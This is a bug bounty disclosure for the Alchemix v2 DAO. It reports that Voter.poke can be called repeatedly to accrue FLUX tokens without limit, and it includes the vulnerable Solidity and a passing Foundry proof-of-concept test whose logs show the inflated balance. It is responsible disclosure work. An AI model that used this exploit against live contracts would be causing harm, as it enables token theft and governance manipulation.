30990 - [SC - Critical] Users can use Voterpoke to accrue Flux tokens i...

Submitted on May 10th 2024 at 05:45:32 UTC by @imsrybr0 for Boost | Alchemix

Report ID: #30990

Report type: Smart Contract

Report severity: Critical

Target: https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol

Impacts:

  • Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results

Description

Brief/Intro

Users can use Voter@poke to accrue Flux tokens indefinitely.

Vulnerability Details

// ...
contract Voter is IVoter {
    // ...
    function poke(uint256 _tokenId) public {
        // Previous boost will be taken into account with weights being pulled from the votes mapping
        uint256 _boost = 0;

        if (msg.sender != admin) {
            require(IVotingEscrow(veALCX).isApprovedOrOwner(msg.sender, _tokenId), "not approved or owner");
        }

        address[] memory _poolVote = poolVote[_tokenId];
        uint256 _poolCnt = _poolVote.length;
        uint256[] memory _weights = new uint256[](_poolCnt);

        for (uint256 i = 0; i < _poolCnt; i++) {
            _weights[i] = votes[_tokenId][_poolVote[i]];
        }

        _vote(_tokenId, _poolVote, _weights, _boost);  // <=== audit
    }

    function _vote(uint256 _tokenId, address[] memory _poolVote, uint256[] memory _weights, uint256 _boost) internal {
        // ...
        IFluxToken(FLUX).accrueFlux(_tokenId); // <=== audit
        // ...
    }
    // ...
}
// ...
contract FluxToken is ERC20("Flux", "FLUX"), IFluxToken {
    // ...
    function accrueFlux(uint256 _tokenId) external {
        require(msg.sender == voter, "not voter");
        uint256 amount = IVotingEscrow(veALCX).claimableFlux(_tokenId);
        unclaimedFlux[_tokenId] += amount;
    }
    // ...
}

Since Voter@poke does not check if the given token id already voted in the current epoch, it can be repeatedly called by a user to accrue Flux tokens indefinitely.

Impact Details

  • Artificially boost voting power for gauges voting.

  • Claim Flux ERC20 tokens to :

    • Sell them

    • Use them to ragequit for free

References

  • https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol#L195-L212

  • https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol#L423

  • https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/FluxToken.sol#L188-L192

Proof of Concept

    function testPokeRepeatedly() public {
        uint256 tokenId1 = createVeAlcx(admin, TOKEN_1, MAXTIME, false);
        
        hevm.startPrank(admin);

        console2.log("Initial Unclaimed Flux", flux.unclaimedFlux(tokenId1));

        voter.poke(tokenId1);

        console2.log("Unclaimed Flux after one poke", flux.unclaimedFlux(tokenId1));

        for (uint256 i; i < 10; i++) {
            voter.poke(tokenId1);
        }

        console2.log("Unclaimed Flux after 10 other pokes", flux.unclaimedFlux(tokenId1));

        flux.claimFlux(tokenId1, flux.unclaimedFlux(tokenId1));

        console2.log("Flux ERC20 balance", flux.balanceOf(admin));
    }

Results

Ran 1 test for src/test/Voting.t.sol:VotingTest
[PASS] testPokeRepeatedly() (gas: 1457575)
Logs:
  Initial Unclaimed Flux 0
  Unclaimed Flux after one poke 994553684669529957
  Unclaimed Flux after 10 other pokes 10940090531364829527
  Flux ERC20 balance 10940090531364829527

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 55.84s (45.19s CPU time)

Ran 1 test suite in 57.17s (55.84s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Last updated